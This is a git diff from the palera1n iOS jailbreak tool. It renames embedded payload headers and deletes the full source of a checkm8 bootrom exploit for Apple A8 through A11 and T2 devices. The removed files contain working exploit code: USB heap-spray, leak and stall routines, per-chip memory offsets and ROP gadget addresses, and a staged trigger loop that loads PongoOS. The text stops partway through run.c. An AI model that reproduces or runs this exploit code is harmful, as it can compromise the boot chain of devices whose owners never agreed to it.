* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include "globals.h"
#include <stdlib.h>
@@ -8,49 +35,57 @@
#include <string.h>
#if WITH_BINPACK
# include "gen/payloads/binpack.h"
# include "gen/embedded/binpack.h"
#endif
#if WITH_RAMDISK
# include "gen/payloads/ramdisk.h"
# include "gen/embedded/ramdisk.h"
# include "gen/embedded/ramdisk-compressed.dmg.h"
#endif
#include "gen/payloads/Pongo.h"
#include "gen/payloads/checkra1n-kpf-pongo.h"
#include "gen/embedded/Pongo.h"
#include "gen/embedded/checkra1n-kpf-pongo.h"
#include "gen/embedded/checkra1n-kpf-pongo-compressed.h"
uint64_t palerain_flags = 0;
char boot_args[0x270] = { '\0' };
#if WITH_BINPACK
payload_t g_payload_overlay = {
.data = payloads_binpack_dmg,
.data_len = payloads_binpack_dmg_len,
.data = embedded_binpack_dmg,
.data_len = embedded_binpack_dmg_len,
.uncompressed_data_len = 0,
};
#else
payload_t g_payload_overlay = {
.data = NULL,
.data_len = 0,
.uncompressed_data_len = 0,
};
#endif
#if WITH_RAMDISK
payload_t g_payload_ramdisk = {
.data = payloads_ramdisk_dmg,
.data_len = payloads_ramdisk_dmg_len,
.data = embedded_ramdisk_compressed_dmg_lzma,
.data_len = embedded_ramdisk_compressed_dmg_lzma_len,
.uncompressed_data_len = embedded_ramdisk_dmg_len,
};
#else
payload_t g_payload_ramdisk = {
.data = NULL,
.data_len = 0,
.uncompressed_data_len = 0,
};
#endif
payload_t g_payload_pongo = {
.data = payloads_Pongo_bin,
.data_len = payloads_Pongo_bin_len,
.data = embedded_Pongo_bin,
.data_len = embedded_Pongo_bin_len,
.uncompressed_data_len = 0,
};
payload_t g_payload_kpf = {
.data = payloads_checkra1n_kpf_pongo,
.data_len = payloads_checkra1n_kpf_pongo_len,
.data = embedded_checkra1n_kpf_pongo_compressed_lzma,
.data_len = embedded_checkra1n_kpf_pongo_compressed_lzma_len,
.uncompressed_data_len = embedded_checkra1n_kpf_pongo_len,
};
bool override_payload_from_file(const char *path, payload_t *out)
@@ -86,6 +121,11 @@ bool override_payload_from_file(const char *path, payload_t *out)
out->data = buf;
out->data_len = (size_t)len;
// assume overwritten file is uncompressed
// this ultimately determines if pongo should
// decompress these files. user provided
// files should not be compressed.
out->uncompressed_data_len = 0;
return true;
}
+31 -1
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef GLOBALS_H
#define GLOBALS_H
@@ -5,12 +32,15 @@
#include <stdint.h>
#include <stddef.h>
#define PALERAIN_VERSION "3.0.0"
extern uint64_t palerain_flags;
extern char boot_args[0x270];
typedef struct {
const uint8_t *data;
size_t data_len;
size_t uncompressed_data_len;
} payload_t;
extern payload_t g_payload_overlay;
@@ -28,4 +58,4 @@ bool override_payload_from_file(const char *path, payload_t *out);
}
#endif
#endif // GLOBALS_H
#endif // GLOBALS_H
-239
View File
@@ -1,239 +0,0 @@
#include "checkm8.h"
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include "payload.h"
#include "dfu.h"
#include "stage1.h"
#include "../utils.h"
#include "../usb/shim.h"
#include "../usb/pongo_helper.h"
static struct {
uint8_t b_len, b_descriptor_type;
uint16_t bcd_usb;
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
uint16_t id_vendor, id_product, bcd_device;
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
} device_descriptor;
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
struct {
uint8_t status, poll_timeout[3], state, str_idx;
} dfu_status;
transfer_ret_t transfer_ret;
return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
&& dfu_status.status == status && dfu_status.state == state;
}
static bool dfu_set_state_wait_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
}
bool checkm8_stage_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN
&& dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ)
{
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
return false;
}
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
transfer_ret_t transfer_ret;
for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret)
&& transfer_ret.sz < deviceConfig->config_overwrite_pad
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_STALL)
{
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
}
return false;
}
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
}
static void checkm8_stall(const usb_handle_t *handle) {
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
transfer_ret_t transfer_ret;
for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
break;
}
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
}
}
static bool checkm8_no_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret)
&& transfer_ret.sz == 0;
}
static bool checkm8_usb_request_stall(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_STALL;
}
char *get_usb_serial_number(usb_handle_t *handle) {
transfer_ret_t transfer_ret;
uint8_t buf[UINT8_MAX];
char *str = NULL;
size_t i, sz;
if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor)
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0]
&& (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL)
{
for(i = 0; i < sz; ++i) {
str[i] = (char)buf[2 * (i + 1)];
}
str[sz - 1] = '\0';
}
return str;
}
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
size_t i;
if(deviceConfig->config_large_leak == 0) {
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
} else {
checkm8_stall(handle);
for(i = 0; i < deviceConfig->config_hole; ++i) {
while(!checkm8_no_leak(handle)) {}
}
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
} else {
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
while(!checkm8_usb_request_stall(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
}
return true;
}
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
size_t i, data_sz, packet_sz;
void *data;
transfer_ret_t transfer_ret;
bool ret = false;
const uint8_t *checkra1n_payload = NULL;
void *overwrite = NULL;
size_t checkra1n_payload_sz = 0;
size_t overwrite_sz = 0;
checkm8_overwrite_t checkm8_overwrite;
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
overwrite = &checkm8_overwrite;
overwrite_sz = sizeof(checkm8_overwrite);
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
if (!ret) return false;
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
if (!ret) return false;
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
LOG_VERBOSE("successfully leaked data");
} else {
LOG_ERROR("failed to leak data");
return false;
}
for(i = 0; i < 2; i++) {
LOG_VERBOSE("i = %zu", i);
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
}
if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
ret = true;
for(i = 0; ret && i < data_sz; i += packet_sz) {
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
}
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
}
free(data);
return ret;
}
bool checkm8_boot_pongo(usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
uint8_t *out;
size_t out_len;
if (!prepare_pongo(&out, &out_len)) {
LOG_ERROR("Failed to prepare pongoOS payload");
return false;
}
{
size_t len = 0;
while (len < out_len)
{
size_t chunk = (out_len - len > 0x800) ? 0x800 : (out_len - len);
retry:
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, out + len, chunk, &transfer_ret);
if (transfer_ret.sz != chunk || transfer_ret.ret != USB_TRANSFER_OK)
{
LOG_VERBOSE("retrying at len = %zu", len);
sleep_ms(100);
goto retry;
}
len += chunk;
LOG_VERBOSE("len = %zu", len);
}
}
free(out);
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
LOG_SUCCESS("PongoOS has been sent off");
return true;
}
-23
View File
@@ -1,23 +0,0 @@
#ifndef CHECKM8_H
#define CHECKM8_H
#include <stdbool.h>
#include "payload.h"
#include "../usb/shim.h"
#define EP0_MAX_PACKET_SZ (0x40)
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
#ifndef MIN
# define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
bool checkm8_stage_reset(const usb_handle_t *handle);
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
bool checkm8_boot_pongo(usb_handle_t *handle);
#endif // CHECKM8_H
-27
View File
@@ -1,27 +0,0 @@
#include "payload.h"
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>
uint16_t dfu_serial_number_get_cpid(char *serial) {
char *cpid = strstr(serial, "CPID:");
if (cpid == NULL) { return -1; }
return strtol(cpid + 5, NULL, 16);
}
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
char *DFU = strstr(serial, "SRTG");
return DFU != NULL;
}
bool dfu_serial_number_is_pwned(char *serial) {
char *pwnd = strstr(serial, "PWND:");
return pwnd != NULL;
}
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
char *yolo = strstr(serial, "YOLO");
return yolo != NULL;
}
-35
View File
@@ -1,35 +0,0 @@
#ifndef DFU_H
#define DFU_H
#include <stdint.h>
#define DFU_DNLOAD 1
#define DFU_UPLOAD 2
#define DFU_GET_STATUS 3
#define DFU_CLR_STATUS 4
#define DFU_GETSTATE 5
#define DFU_ABORT 6
#define DFU_FILE_SUFFIX_LEN 16
#define EP0_MAX_PACKET_SIZE 0x40
#define DFU_MAX_TRANSFER_SZ 0x800
#define DFU_STATUS_OK 0
#define DFU_STATE_MANIFEST_SYNC 6
#define DFU_STATE_MANIFEST 7
#define DFU_STATE_MANIFEST_WAIT_RESET 8
#ifdef __cplusplus
extern "C" {
#endif
uint16_t dfu_serial_number_get_cpid(char *serial);
bool dfu_serial_number_is_in_dfu_mode(char *serial);
bool dfu_serial_number_is_pwned(char *serial);
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
bool device_serial_number_is_in_pongo_os(char *serial);
#ifdef __cplusplus
}
#endif
#endif // DFU_H
-220
View File
@@ -1,220 +0,0 @@
#include "payload.h"
#include <stdbool.h>
#include <stdint.h>
#include "../utils.h"
#include "../gen/payloads/yolo_s8000.h"
#include "../gen/payloads/yolo_s8001.h"
#include "../gen/payloads/yolo_s8003.h"
#include "../gen/payloads/yolo_t7000.h"
#include "../gen/payloads/yolo_t7001.h"
#include "../gen/payloads/yolo_t8010.h"
#include "../gen/payloads/yolo_t8011.h"
#include "../gen/payloads/yolo_t8012.h"
#include "../gen/payloads/yolo_t8015.h"
bool checkm8_find_device_configuration_for_cpid(
uint16_t cpid,
struct DeviceConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case A11:
case T2:
case A10X:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x540;
config->config_hole = 6;
break;
case A10:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 5;
break;
case A9X:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 6;
break;
case A9_TSMC:
case A9:
case A8X:
case A8:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x500;
config->config_hole = 0;
break;
default:
LOG_ERROR("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
break;
}
return foundMatchingConfiguration;
}
bool checkm8_find_payload_configuration_for_cpid(
uint16_t cpid,
struct PayloadConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case A11:
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x10000a998;
config->tlbi = 0x1000004AC;
config->write_prim = 0x100009c48;
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
config->arm_invalidate_icache = 0x1000004c0;
config->enter_critical_section = 0x10000f958;
config->exit_critical_section = 0x10000f9a0;
config->write_ttbr0 = 0x10000045c;
config->tlbi = 0x1000004ac;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f88;
config->payload_start_offset = 0x800;
break;
case T2:
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x100008d8c;
config->write_prim = 0x100008058;
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
config->arm_invalidate_icache = 0x1000004a8;
config->enter_critical_section = 0x10000f9b8;
config->exit_critical_section = 0x10000fa00;
config->write_ttbr0 = 0x100000444;
config->tlbi = 0x100000494;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f78;
config->payload_start_offset = 0x800;
break;
case A10X:
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cce4;
config->write_prim2 = 0x100001804;
config->arm_clean_invalidate_dcache_line = 0x10000047c;
config->arm_invalidate_icache = 0x100000458;
config->enter_critical_section = 0x10000a658;
config->exit_critical_section = 0x10000a6a0;
config->write_ttbr0 = 0x1000003F4;
config->tlbi = 0x100000444;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f88;
config->payload_start_offset = 0x800;
break;
case A10:
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cc44;
config->write_prim2 = 0x100001808;
config->arm_clean_invalidate_dcache_line = 0x10000046c;
config->arm_invalidate_icache = 0x100000448;
config->enter_critical_section = 0x10000A4B8;
config->exit_critical_section = 0x10000A514;
config->write_ttbr0 = 0x1000003E4;
config->tlbi = 0x100000434;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f68;
config->payload_start_offset = 0x800;
break;
case A9X:
config->insecure_memory_base = 0x180000000;
config->func_gadget = 0x10000cd38;
config->write_prim2 = 0x100001a78;
config->arm_clean_invalidate_dcache_line = 0x10000043c;
config->arm_invalidate_icache = 0x100000418;
config->enter_critical_section = 0x100009b24;
config->exit_critical_section = 0x100009b88;
config->write_ttbr0 = 0x1000003b4;
config->tlbi = 0x100000404;
config->TTBR0_PATCH_BASE = 0x180004000;
config->TTBR0_BASE = 0x50000;
config->bootstrap_task_lr = 0x180059f58;
config->payload_start_offset = 0x800;
break;
case A9:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A9_TSMC:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A8X:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x100010df4;
config->write_prim = 0x10000ed5c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
case A8:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000ddf4;
config->write_prim = 0x10000bc2c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
default:
LOG_ERROR("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
}
return foundMatchingConfiguration;
}
static const yolo_payload_t yolo_payloads[] = {
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
{A9X, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len},
{A9, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len},
{A8X, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len},
{A8, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len},
};
bool create_pongo_payload_for_device(
uint16_t cpid,
const uint8_t **payload,
size_t *payloadSize)
{
LOG_VERBOSE("Preparing YoloDFU payload for CPID 0x%x", cpid);
*payload = NULL;
*payloadSize = 0;
size_t count = sizeof(yolo_payloads) / sizeof(yolo_payloads[0]);
for (size_t i = 0; i < count; i++) {
if (yolo_payloads[i].cpid == cpid) {
*payload = yolo_payloads[i].data;
*payloadSize = yolo_payloads[i].len;
return true;
}
}
LOG("Failed to prepare payload for device with CPID 0x%x", cpid);
return false;
}
-55
View File
@@ -1,55 +0,0 @@
#ifndef PAYLOAD_H
#define PAYLOAD_H
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#define A8 0x7000
#define A8X 0x7001
#define S1 0x7002
#define A9 0x8000
#define A9X 0x8001
#define A9_TSMC 0x8003
#define A10 0x8010
#define A10X 0x8011
#define T2 0x8012
#define A11 0x8015
struct DeviceConfiguration {
uint16_t cpid;
size_t
config_hole,
config_large_leak,
config_overwrite_pad;
};
struct PayloadConfiguration {
uint64_t
insecure_memory_base,
func_gadget,
write_prim,
write_prim2,
arm_clean_invalidate_dcache_line,
arm_invalidate_icache,
enter_critical_section,
exit_critical_section,
write_ttbr0,
tlbi,
TTBR0_PATCH_BASE,
TTBR0_BASE,
bootstrap_task_lr,
payload_start_offset;
};
typedef struct {
uint16_t cpid;
const uint8_t *data;
size_t len;
} yolo_payload_t;
bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConfiguration *config);
bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
#endif // PAYLOAD_H
-290
View File
@@ -1,290 +0,0 @@
#include "run.h"
#include <stdlib.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <pthread.h>
#include <inttypes.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include "../utils.h"
#include "../globals.h"
#include "../paleinfo.h"
#include "../usb/shim.h"
#include "../usb/driver.h"
#include "../usb/pongo_helper.h"
#include "checkm8.h"
#include "dfu.h"
#include "payload.h"
#define VID_APPLE (0x5AC)
#define PID_PONGO (0x4141)
#define PID_DFU (0x1227)
#if defined(WITH_GUI) || defined(WITH_TUI)
const char* stage_to_string(int stage)
{
switch (stage) {
case STAGE_SETUP: return "Checking if device is ready";
case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)";
case STAGE_PATCH: return "Right before trigger (this is the real bug setup)";
case STAGE_YOLODFU: return "Booting PongoOS...";
case STAGE_PONGO: return "Booting...";
case STAGE_DONE: return "Done.";
default: return "Idle.";
}
}
int stage_to_progress(int stage)
{
switch (stage) {
case STAGE_SETUP: return 30;
case STAGE_SPRAY: return 40;
case STAGE_PATCH: return 50;
case STAGE_YOLODFU: return 60;
case STAGE_PONGO: return 70;
case STAGE_DONE: return 100;
default: return 0;
}
}
#endif // WITH_GUI || WITH_TUI
#ifdef _WIN32
static void *driver_thread(void *arg)
{
shared_t *s = (shared_t *)arg;
LOG_VERBOSE("Starting thread for libusbK driver installing");
while (!atomic_load(&s->stop)) {
if (usb_device_present(VID_APPLE, PID_DFU)) {
driver_result_t ret =
install_libusbk_target(VID_APPLE, PID_DFU);
if (ret == DRIVER_SUCCESS)
LOG_VERBOSE("DFU libusbK ready");
}
if (usb_device_present(VID_APPLE, PID_PONGO)) {
driver_result_t ret =
install_libusbk_target(VID_APPLE, PID_PONGO);
if (ret == DRIVER_SUCCESS) {
LOG_SUCCESS("PongoOS libusbK ready");
break;
}
}
sleep_ms(500);
}
return NULL;
}
#endif
static void *exploit_thread(void *arg)
{
LOG_VERBOSE("Starting thread for DFU devices");
LOG("Waiting for DFU devices...");
shared_t *s = (shared_t *)arg;
usb_handle_t handle;
struct DeviceConfiguration deviceConfig;
struct PayloadConfiguration payloadConfig;
int stage = STAGE_RESET;
bool ret = false;
init_usb_handle(&handle, VID_APPLE, PID_DFU);
while (!atomic_load(&s->stop)) {
if (!wait_usb_handle(&handle)) {
if (atomic_load(&s->stop)) break;
reset_usb_handle(&handle);
continue;
}
char *sn = get_usb_serial_number(&handle);
if (!sn) {
reset_usb_handle(&handle);
continue;
}
uint64_t cpid = dfu_serial_number_get_cpid(sn);
if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig)
|| !checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig))
{
free(sn);
reset_usb_handle(&handle);
continue;
}
if (dfu_serial_number_is_pwned(sn)) {
LOG_WARN("Detected already PWN'd device, skipping");
free(sn);
reset_usb_handle(&handle);
continue;
} else if (dfu_serial_number_is_in_dfu_mode(sn)) {
LOG_SUCCESS("Detected DFU device");
} else if (dfu_serial_number_is_in_yolo_dfu(sn)) {
LOG_SUCCESS("Detected YoloDFU device");
stage = STAGE_YOLODFU;
} else {
free(sn);
reset_usb_handle(&handle);
continue;
}
free(sn);
atomic_store(&s->stage, stage);
switch (stage) {
case STAGE_RESET:
ret = checkm8_stage_reset(&handle);
stage = ret ? STAGE_SETUP : STAGE_RESET;
break;
case STAGE_SETUP:
LOG("Checking if device is ready");
ret = checkm8_stage_setup(&handle, &deviceConfig);
stage = ret ? STAGE_SPRAY : STAGE_RESET;
break;
case STAGE_SPRAY:
LOG("Setting up the exploit (this is the heap spray)");
ret = checkm8_stage_spray(&handle, &deviceConfig);
stage = ret ? STAGE_PATCH : STAGE_RESET;
break;
case STAGE_PATCH:
LOG("Right before trigger (this is the real bug setup)");
ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig);
stage = STAGE_RESET;
if (!ret) {
LOG_ERROR("Failed doing trigger");
break;
}
continue;
case STAGE_YOLODFU:
LOG("Booting PongoOS...");
ret = checkm8_boot_pongo(&handle);
if (!ret) LOG_ERROR("Failed to send PongoOS to device");
stage = STAGE_RESET;
break;
}
reset_usb_handle(&handle);
}
close_usb_handle(&handle);
return NULL;
}
static void *pongo_thread(void *arg)
{
LOG_VERBOSE("Starting thread for PongoOS devices");
shared_t *s = (shared_t *)arg;
usb_handle_t handle;
bool seen = false;
init_usb_handle(&handle, VID_APPLE, PID_PONGO);
while (!atomic_load(&s->stop)) {
if (!wait_usb_handle(&handle)) {
if (atomic_load(&s->stop)) break;
reset_usb_handle(&handle);
continue;
}
if (seen) break;
seen = true;
LOG_SUCCESS("Detected PongoOS device");
atomic_store(&s->stage, STAGE_PONGO);
if (palerain_flags & palerain_option_pongo_exit) {
goto exit;
}
char paleinfo[64];
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
char xargs_cmd[0x270];
snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args);
if (palerain_flags & palerain_option_setup_rootful) {
strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1);
}
issue_pongo_command(&handle, "fuse lock");
issue_pongo_command(&handle, "sep auto");
if (g_payload_kpf.data_len > 0) {
upload_buffer_to_pongo(&handle, g_payload_kpf.data, g_payload_kpf.data_len);
issue_pongo_command(&handle, "modload");
}
issue_pongo_command(&handle, paleinfo);
if (g_payload_ramdisk.data_len > 0) {
upload_buffer_to_pongo(&handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len);
issue_pongo_command(&handle, "ramdisk");
}
if (g_payload_overlay.data_len > 0) {
upload_buffer_to_pongo(&handle, g_payload_overlay.data, g_payload_overlay.data_len);
issue_pongo_command(&handle, "overlay");
}
if (strlen(boot_args) > 0) issue_pongo_command(&handle, xargs_cmd);
issue_pongo_command(&handle, "bootx");
exit:
#ifdef _WIN32
